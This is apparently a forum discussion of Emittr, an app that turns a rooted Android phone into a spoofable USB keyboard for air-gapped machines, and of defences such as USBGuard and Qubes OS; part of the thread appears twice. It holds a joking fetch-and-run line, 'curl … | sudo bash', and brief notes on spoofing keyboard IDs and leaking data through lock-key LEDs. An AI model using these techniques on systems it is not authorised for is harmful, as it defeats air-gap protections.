>, so it works in every locked down OS as well, BIOS, GRUB, etc.
Fyi... Apple MacBook laptops and iPhones block USB peripherals (including keyboards) unless the password is first entered on the real builtin keyboard or touchscreen to approve it.
Supposedly, Apple does this to prevent gadgets like yours from brute-forcing passwords.
Yes, absolutely. Apple has these protections for a good reason. But Emittr is primarly intended for systems we own/authorized to manage. I see it more as a feature-rich, programmable super keyboard than a bypass tool
Now, if it could also use the camera to forward video it would turn into a full KVM-over-IP. Or it could parse the camera input for text output or automation. Or it could use STT for its input, so it would enable easy verbal interaction with any device.
Interesting directions! Camera + HID would be really an exciting combination. imagine having both visual feedback and input control without installing anything on the target machine. STT idea is also worth exploring!
So, it essentially turns the phone into a "BadUSB" device.
I wanted to do this with a Flipper Zero on a locked-down system but I refrained, a keyboard firing a script at 1000 WPM really looks like an attack, and I don't want to do something that looks like an attack on a system that is not mine.
It doesn't mean it is not useful, in fact, it may be too useful, that's the problem...
I did this over the weekend with Claude. My Flipper Zero was paired to my tablet as a Bluetooth HID keyboard ... Claude wrote a custom app for the Flipper that acted like the keyboard, with human-like timing between keystrokes. Claude called the device over RPC on USB, through a small HTTP daemon it also wrote, so anything on my network could send text to type. This was a few hours worth of effort. Wild times.
Yes, same underlying concept.
Emittr is more about interactive input and repurposing your phone into a feature-rich programmable keyboard. The difference is more in the approach and intended use.
This doesn't break the containment. This comes handy when it's needed to type some complex scripts chatgpt gives to debug.
once our work is done, we can plug out to respect the airgap
I mean entering a complex script from an ai very well may introduce a virus that otherwise wouldn't be possible. And if the android can connect to the internet, then hasn't containment been broken?
This can type script to the machine, if the machine is offline then any curl type commands will definitely fail.
By complex scripts - i meant lengthy or not typing friendly scripts
you can also get an okay bitrate back out again if you combine toggling num lock, screen lock, and caps lock (and googling it, compose and kana gets you to 5 bits)
> Out of band bridge : we don't store passwords or authenticators on rooted phone. Emittr exposes a web UI on LAN, so we can send keystrokes from our main phones.
Depending on threat model (do you trust the network?), that seems less secure than keeping credentials on-device.
I have seen computers in some air-gapped high security areas where all USB ports were physically disabled - filled with glue. Of course there were very strict rules about not bringing in any kind of unregistered electronic devices (also any dangerous objects, knives or even screwdrivers) and entries to this facilities were controlled by security personnel with metal detectors.
These scenarios can be an exception. air-gapped can either be for system safety (like in internal server rooms) or high security areas where it's reasonable
Some like me feel using their own mechanical keyboard. Our phone can wear a mask of keyboard if connected :)
I wonder how can you classify a legitimate keyboard vs a legitimated keyboard.
The other is a small self-contained computer with multiple airwave capabilities, some of its protections removed (rooting), all in an obsolete system (an old Android phone) which is itself a hive of vulnerabilities for anybody that gets access to it physical or digital.
If that was brought into my workplace there'd be serious discussions.
That is not a criticism of your creative work here, just an acknowledgement that a portion of workplaces would not take this lightly. Most who that applies to, should know, but it's still worth mentioning.
This. One of the main selling points being that a security audit won't catch your usage of the device really makes this whole thing feel shady. I'm sure spies will love it.
That sort of felt like the whole purpose to me. First thing I did after reading the README is looked up how to lock USB down completely. Looks like USBGuard is the best way to do this on Linux, it allows you to inspect attributes and pin devices to a specific port.
This is shady. It's also an issue a lot of people may not be aware of. It's best to call attention to holes lest someone fall in one. Anyone maintaining a serious air-gapped system should already be strictly controlling who has physical access to the machine. But there are a lot of less serious but very vulnerable targets that admins would be wise to consider this sort of thing. Retail displays, road signs, kiosks, etc.
Just because trespassing is a crime doesn't mean it's still not wise to lock your doors.
If they are already collecting data from input devices somehow, from laptop's keyboard or attached one, they can see keystrokes from this USB device too.
(I tried a software keylogger to test, but it prioritized internal keyboard only)
True. USBGuard is linux specific. I was thinking more broadly about systems that don't have restrictions turned on by default. BIOS/UEFI and other OS have their own mechanisms though
Except Qubes OS. It of course blocks USB keyboards by default. You can enable USB devices (filtered by device ID, USB controller/port, ...) if you want.
Even better: USB controllers are PCI-passed-through to dedicated (disposable) VM(s), so Linux kernel bugs don't expose your system to untrusted USB devices. Same with network devices, etc.
It is possible to design a keyboard, with a 4g chip inside to send all keypresses to whomever or remotely take control of the airgapped computer. The firmware will of course spoof a legitimate device ID. That's not even hard, a few weeks of work at most for an electronics engineer + embedded software developper.
You don't protect against that with software, but with careful supply-chain control, a faraday cage, and an armed guard who detains anyone attempting something funny.
The fake keyboard can happily type away in the small, empty, networkless, disposable virtual machine the USB controller of the machine (the PCI device) is locked into.
Neither the "host OS" (no such thing really, Qubes OS is based on Xen hypervisor) or any other VM even sees the physical USB controller, let alone anything plugged into it.
This is of course a very weak protection, since a bad actor can MITM the real device.
It is conceptually similar to sticky-MAC protections, except those raise a very loud alarm that requires admin intervention when the attacker goofs. I suspect you're not shutting down the USB port on rule violation.
Perhaps I should have started with the sentence about the USB controllers PCI passed through to an empty disposable virtual machine, not the "how to reenable what you really need" part...
> This is of course a very weak protection
Not a protection at all, the opposite. Like a network firewall: block everything by default and enable what the user wants.
By default you have zero allowed USB devices (not even a host USB controller) in a laptop setting (built in keyboards are mostly PS/2, pointing devices, wifi, etc. are PCI devices).
Best part is even if you need some USB devices in some task specific virtual machines, you still don't give the whole controller to the VM, but just the device with a USB-over-ethernet like mechanism.
> I suspect you're not shutting down the USB port on rule violation
There is no port to shut down. The host OS and the task specific VMs don't ever see the USB controller and it's ports.
Cool, I haven't heard of this default in Qubes.
Plus, Emittr exposes itself as legitimate dell keyboard(configurable). So most of the non-paranoid devices can accept.
>, so it works in every locked down OS as well, BIOS, GRUB, etc.
Fyi... Apple MacBook laptops and iPhones block USB peripherals (including keyboards) unless the password is first entered on the real builtin keyboard or touchscreen to approve it.
Supposedly, Apple does this to prevent gadgets like yours from brute-forcing passwords.
Yes, absolutely. Apple has these protections for a good reason. But Emittr is primarly intended for systems we own/authorized to manage. I see it more as a feature-rich, programmable super keyboard than a bypass tool
Yep, I do this on my notebook, not loading USB peripherals until the luks partition is unlocked.
Now, if it could also use the camera to forward video it would turn into a full KVM-over-IP. Or it could parse the camera input for text output or automation. Or it could use STT for its input, so it would enable easy verbal interaction with any device.
Interesting directions! Camera + HID would be really an exciting combination. imagine having both visual feedback and input control without installing anything on the target machine. STT idea is also worth exploring!
So, it essentially turns the phone into a "BadUSB" device.
I wanted to do this with a Flipper Zero on a locked-down system but I refrained, a keyboard firing a script at 1000 WPM really looks like an attack, and I don't want to do something that looks like an attack on a system that is not mine.
It doesn't mean it is not useful, in fact, it may be too useful, that's the problem...
I did this over the weekend with Claude. My Flipper Zero was paired to my tablet as a Bluetooth HID keyboard ... Claude wrote a custom app for the Flipper that acted like the keyboard, with human-like timing between keystrokes. Claude called the device over RPC on USB, through a small HTTP daemon it also wrote, so anything on my network could send text to type. This was a few hours worth of effort. Wild times.
https://en.wikipedia.org/wiki/BadUSB
Yes, same underlying concept. Emittr is more about interactive input and repurposing your phone into a feature-rich programmable keyboard. The difference is more in the approach and intended use.
While we're on the subject, for non-rooted phones, I can recommend InputStick.
Yes. Thanks for the suggestion. It is a readymade hardware, pretty easy to use. My app's motive is to repurpose.
And is that really a good idea? These systems might be airgapped for good reason.
This doesn't break the containment. This comes handy when it's needed to type some complex scripts chatgpt gives to debug. once our work is done, we can plug out to respect the airgap
I actually can't imagine how you can say it doesn't break containment.
Of course it does.
Its wildly unethical.
I mean entering a complex script from an ai very well may introduce a virus that otherwise wouldn't be possible. And if the android can connect to the internet, then hasn't containment been broken?
This can type script to the machine, if the machine is offline then any curl type commands will definitely fail. By complex scripts - i meant lengthy or not typing friendly scripts
you can also get an okay bitrate back out again if you combine toggling num lock, screen lock, and caps lock (and googling it, compose and kana gets you to 5 bits)
Did the people that built the containment approve the device?
curl http://definitelynotavirus.com | sudo bash
curl: (6) Could not resolve host. Guess you will have to type the virus manually ¯\_(ツ)_/¯
> Out of band bridge : we don't store passwords or authenticators on rooted phone. Emittr exposes a web UI on LAN, so we can send keystrokes from our main phones.
Depending on threat model (do you trust the network?), that seems less secure than keeping credentials on-device.
Dosent this defeat the entire point of the airgap? I know the pain but still.
If I went to the extreme of air-gapping a machine, I'd make sure that anyone trying to plug a phone to it gets fired on the spot.
I have seen computers in some air-gapped high security areas where all USB ports were physically disabled - filled with glue. Of course there were very strict rules about not bringing in any kind of unregistered electronic devices (also any dangerous objects, knives or even screwdrivers) and entries to this facilities were controlled by security personnel with metal detectors.
These scenarios can be an exception. air-gapped can either be for system safety (like in internal server rooms) or high security areas where it's reasonable
Does anyone still make PS/2 peripherals just for high security areas?
There's tons of specialty peripherals out there
https://stacosystems.com/m816/
Would be funny if PS/2 ended up being the last trusted interface in these environments :)
i've casually stockpiled ps2 kbs for a while, goodwill is a decent source that technically can't be interdicted.
they made optical mice during the ps2 era too but i'm unsure about the resolution.
there are also usb-to-serial and usb-to-irda adapters.
the usb-to-irda may be convertible to visible light freqs via basic soldering.
palmos and windowsce hardware devices may be sufficiently early enough to not suffer from arm trustzone and intel amt | me or amd psp.
Some like me feel using their own mechanical keyboard. Our phone can wear a mask of keyboard if connected :) I wonder how can you classify a legitimate keyboard vs a legitimated keyboard.
One is a keyboard.
The other is a small self-contained computer with multiple airwave capabilities, some of its protections removed (rooting), all in an obsolete system (an old Android phone) which is itself a hive of vulnerabilities for anybody that gets access to it physical or digital.
If that was brought into my workplace there'd be serious discussions.
That is not a criticism of your creative work here, just an acknowledgement that a portion of workplaces would not take this lightly. Most who that applies to, should know, but it's still worth mentioning.
I can’t imagine a workplace paranoid enough to have an air-gapped system, but chill enough to let people connect whatever they want to it.
By only allow registered USB IDs?
No, you can lie about that, too.
It’s a keyboard if you can show it to your site manager and they nod and say “OK” instead of “you’re fired.”
100% this. Like, not even a shadow of a hesitation.
This. One of the main selling points being that a security audit won't catch your usage of the device really makes this whole thing feel shady. I'm sure spies will love it.
That sort of felt like the whole purpose to me. First thing I did after reading the README is looked up how to lock USB down completely. Looks like USBGuard is the best way to do this on Linux, it allows you to inspect attributes and pin devices to a specific port.
This is shady. It's also an issue a lot of people may not be aware of. It's best to call attention to holes lest someone fall in one. Anyone maintaining a serious air-gapped system should already be strictly controlling who has physical access to the machine. But there are a lot of less serious but very vulnerable targets that admins would be wise to consider this sort of thing. Retail displays, road signs, kiosks, etc.
Just because trespassing is a crime doesn't mean it's still not wise to lock your doors.
If they are already collecting data from input devices somehow, from laptop's keyboard or attached one, they can see keystrokes from this USB device too. (I tried a software keylogger to test, but it prioritized internal keyboard only)
> Nobody blocks a keyboard
Some of us do: https://usbguard.github.io/
True. USBGuard is linux specific. I was thinking more broadly about systems that don't have restrictions turned on by default. BIOS/UEFI and other OS have their own mechanisms though
Non-slop, pre-existing alternative: https://github.com/Arian04/android-hid-client
Except Qubes OS. It of course blocks USB keyboards by default. You can enable USB devices (filtered by device ID, USB controller/port, ...) if you want.
Even better: USB controllers are PCI-passed-through to dedicated (disposable) VM(s), so Linux kernel bugs don't expose your system to untrusted USB devices. Same with network devices, etc.
It is possible to design a keyboard, with a 4g chip inside to send all keypresses to whomever or remotely take control of the airgapped computer. The firmware will of course spoof a legitimate device ID. That's not even hard, a few weeks of work at most for an electronics engineer + embedded software developper.
You don't protect against that with software, but with careful supply-chain control, a faraday cage, and an armed guard who detains anyone attempting something funny.
The fake keyboard can happily type away in the small, empty, networkless, disposable virtual machine the USB controller of the machine (the PCI device) is locked into.
Neither the "host OS" (no such thing really, Qubes OS is based on Xen hypervisor) or any other VM even sees the physical USB controller, let alone anything plugged into it.
> filtered by device ID
This is of course a very weak protection, since a bad actor can MITM the real device.
It is conceptually similar to sticky-MAC protections, except those raise a very loud alarm that requires admin intervention when the attacker goofs. I suspect you're not shutting down the USB port on rule violation.
Perhaps I should have started with the sentence about the USB controllers PCI passed through to an empty disposable virtual machine, not the "how to reenable what you really need" part...
> This is of course a very weak protection
Not a protection at all, the opposite. Like a network firewall: block everything by default and enable what the user wants.
By default you have zero allowed USB devices (not even a host USB controller) in a laptop setting (built in keyboards are mostly PS/2, pointing devices, wifi, etc. are PCI devices).
Best part is even if you need some USB devices in some task specific virtual machines, you still don't give the whole controller to the VM, but just the device with a USB-over-ethernet like mechanism.
> I suspect you're not shutting down the USB port on rule violation
There is no port to shut down. The host OS and the task specific VMs don't ever see the USB controller and it's ports.
Cool, I haven't heard of this default in Qubes. Plus, Emittr exposes itself as legitimate dell keyboard(configurable). So most of the non-paranoid devices can accept.
> Placeholder. Actual demo soon
That's all I needed to see.
I recorded only a few scenarios. Didn't get enough time to edit. I'm planning to add by end of this week :)
hey don't tell! I opted against sharing my fun versions of this approach for a reason :)
Haha! Now you made me more curious. I'll take the hint though :)
I take issue with this project unapologetically condoning and promoting wildly unethical use.